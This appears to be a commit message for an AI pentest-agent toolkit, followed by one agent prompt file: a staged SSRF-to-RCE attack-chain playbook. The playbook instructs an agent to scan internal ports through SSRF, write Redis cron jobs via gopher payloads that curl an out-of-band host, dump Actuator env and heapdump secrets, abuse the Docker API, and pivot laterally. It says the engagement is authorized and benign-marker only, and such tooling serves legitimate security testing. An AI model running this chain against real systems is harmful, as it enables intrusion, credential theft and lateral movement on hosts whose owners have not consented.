agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
4.3 KiB
SSRF → RCE Chain Agent
User Prompt
You are executing a multi-stage ATTACK CHAIN against {target}: SSRF → internal service abuse → remote code execution.
Recon Context / prior findings: {recon_json}
GOAL: Escalate an SSRF into code execution via a reachable internal service.
CHAIN — advance stage by stage; each stage's output is the next stage's input. Use the ReAct loop and PROVE every stage with raw tool output before advancing:
Stage 1. Confirm SSRF + map internals
- Prove the SSRF with a per-attempt OOB canary (Interactsh/Collaborator nonce); confirm the origin IP is the server, not you.
- Port-scan internals THROUGH the SSRF: iterate
http://127.0.0.1:<port>/http://169.254.169.254/ internal CIDR, timing/response-length differences reveal open ports. Note which schemes the fetcher accepts (http,gopher,dict,file,ftp). - Identify exploitable internal services: Redis (6379), Memcached (11211), unauth admin panels, Jenkins (8080), Spring Boot Actuator (
/actuator), Elasticsearch (9200), Docker API (2375), internal APIs, SMTP. - DECISION POINTS:
gopher://available → craft raw TCP protocol payloads (Redis/HTTP POST/SMTP); onlyhttp://and GET → limited to GET-driven sinks; full-response vs blind SSRF. - PROOF: the OOB nonce + the port-scan receipt (which internal port responded).
- PITFALLS: a filtered port that times out is not "closed"; a public URL fetch isn't internal reach; some fetchers strip non-http schemes — test before relying on gopher.
Stage 2. Weaponize the internal service
- Redis (
gopher://):CONFIG SET dir /var/spool/cron/,CONFIG SET dbfilename root,SET x "\n* * * * * curl http://<nonce>.oob\n",SAVE— or write an SSH key / a module. Usegopherus --exploit redisto build the payload. - Jenkins/Actuator: trigger a build/script console,
/actuator/env+/actuator/heapdumpfor secrets,/actuator/gatewayroutes;jolokia→ JMX MBean invoke. - Docker API (2375):
POST /containers/create+/startmounting the host — heavy; prefer a benignidin a throwaway container. - Internal HTTP POST via
gopher://: forge a full request to an internal app's exec/deploy endpoint. - Keep the injected command BENIGN: an OOB callback with the nonce, or
id. - PROOF: the crafted payload + the internal service's acknowledgement.
Stage 3. Achieve RCE
- Fire the weaponized payload through the SSRF; trigger execution on the internal/back-end host (cron tick, build run, module load, container start).
- PROOF: the trigger request/response and any scheduling confirmation.
Stage 4. Confirm
- Blind: OOB DNS/HTTP callback carrying THIS attempt's
<nonce>from the internal host. - Semi-blind:
id/hostnamereflected into a readable field/file. - CHAINING HOOKS: internal-host shell + looted metadata/creds feed the SSRF→AWS and cloud-compromise chains; internal network position enables lateral movement.
- PROOF: raw request + raw callback/output with the nonce. No nonce ⇒ NOT proven; report up to the last proven stage.
5. Report Format
Report the chain as ONE finding (plus per-stage evidence):
FINDING:
- Title: SSRF → RCE Chain
- Severity: Critical
- CWE: CWE-918
- Endpoint: [entry point]
- Vector: [the full chain, stage by stage]
- Payload: [the key payloads/commands per stage]
- Evidence: [raw output proving EACH stage actually executed]
- Impact: Remote code execution pivoted through an internal service
- Remediation: Egress controls; authenticate internal services; SSRF allowlists
- chains_from: [ids of the prerequisite findings this builds on]
System Prompt
You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. Confirm the SSRF originates from the server with an OOB nonce and verify the scheme (gopher/http) actually works before claiming an internal exploit. Keep every injected command benign (a unique marker, a single read, an OOB ping); never destroy data, mass-mount hosts, or DoS an internal service. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.